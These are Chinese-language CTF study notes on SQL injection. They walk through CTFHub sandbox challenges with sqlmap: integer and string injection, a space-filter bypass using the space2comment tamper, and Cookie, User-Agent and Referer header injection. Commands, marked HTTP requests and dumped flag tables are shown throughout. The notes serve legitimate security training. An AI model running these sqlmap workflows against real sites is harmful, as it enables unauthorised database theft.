CTF Web SQL 注入学习笔记

某些网站上存在 SQL 的漏洞,我们可以利用漏洞进行 SQL 注入获取数据库的信息。

一般来说网址或请求的末尾带有 ?id=1 的字样我们就可以考虑 SQL 注入。

本文一切例题均可在 CTFHub 找到。

sqlmap 介绍

sqlmap 是一个协助 SQL 注入的工具,且 Kali Linux 自带。我们可以很方便地获取数据库的信息。

常用方法如下表:

参数描述
-u <URL>指定注入链接为 <URL>
-r <filename>指定注入网站的 HTTP 请求为 <filename> 文本文件中的内容
--dbs获取数据库数据
--tables获取表信息
--columns获取列信息
--dump获取字段内容
-D <name>指定搜索的数据库为 <name>
-T <name>指定搜索的表为 <name>
-C <name>指定搜索的列为 <name>
--level <num>指定搜索等级为 <num>
--cookie "<string>"指定访问网页时的 Cookie 为 <string>
-p "<string>"指定测试的类型为 <string>
--tamper "<filename>"附加名为 <filename> 的脚本

使用 sqlmap 进行 SQL 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 整数型注入 / 字符型注入 / 报错注入 / 布尔盲注 / 时间盲注 / MySQL 结构

这些题都可用以下套路解决:

输入 1,我们可以在网址上看到 ?id=1 的字样,于是我们可以使用 sqlmap 进行 SQL 注入。

在终端中输入以下指令,可获得数据库的信息(部分信息已用省略号代替):

sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 --dbs
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli

于是我们可知有 information_schemamysqlperformance_schemasqli 四个数据库。我们选择 sqli 数据库进行注入(部分信息已用省略号代替):

sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli --tables  
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+

于是我们可得到 flagnews 两个表,我们选择注入 flag 表(部分信息已用省略号代替):

sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli -T flag --columns --dump
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(100) |
+--------+--------------+

[08:59:35] [INFO] fetching columns for table 'flag' in database 'sqli'
[08:59:35] [INFO] fetching entries for table 'flag' in database 'sqli'
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag                             |
+----------------------------------+
| ctfhub{XXXXXX}                   |
+----------------------------------+

于是我们就获得了 flag。

过滤空格

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 过滤空格

在注入时候空格被过滤掉了,这时我们可以使用 /**/ 来代替空格。

sqlmap 有一个附加脚本 space2comment.py 可将空格替换成 /**/,正好可解决这个问题。

于是我们执行以下指令即可:

sqlmap -u "<http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1>" --tamper "space2comment.py" --dbs
sqlmap -u "<http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1>" --tamper "space2comment.py" -D sqli --tables
sqlmap -u "<http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1>" --tamper "space2comment.py" -D sqli -T kttcekvceq --columns --dump

于是可获得 flag。

Cookie 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Cookie 注入

利用 brupsuite 抓包,发现注入点在 Cookie 中,于是我们可以使用 sqlmap 进行 Cookie 注入。

注意我们需要对 sqlmap 设置 --level 2 才能使其扫描 Cookie。执行代码如下:

sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 --dbs
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli --tables
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli -T hxwrqtoxda --columns --dump

UA 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> UA 注入

这道题的注入点在 User-Agent 中。

这时我们使用 brupsuite 抓包,并将信息存储在 test.txt 以备注入使用(* 表示指定注入的点):

POST / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

于是我们可以用 sqlmap 分析抓包信息。设置 --level 3 并使用 -p 指定为 User-Agent 注入即可。执行代码如下:

sqlmap -r "test.txt" -p User-Agent --level 3 --dbs
sqlmap -r "test.txt" -p User-Agent --level 3 -D sqli --tables
sqlmap -r "test.txt" -p User-Agent --level 3 -D sqli -T swthkhjyyp --columns --dump

Refer 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Refer 注入

我们使用 brupsuite 抓包,并未发现 Refer,于是可以自己构造 Refer(* 表示指定注入的点):

GET / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Referer: id=1*

于是我们可以用 sqlmap 分析抓包信息。设置 --level 5 并使用 -p 指定为 referer 注入即可。执行代码如下:

sqlmap -r "test.txt" -p referer --level 5 --dbs
sqlmap -r "test.txt" -p referer --level 5 -D sqli --tables
sqlmap -r "test.txt" -p referer --level 5 -D sqli -T vdcwkjvvjz --columns --dump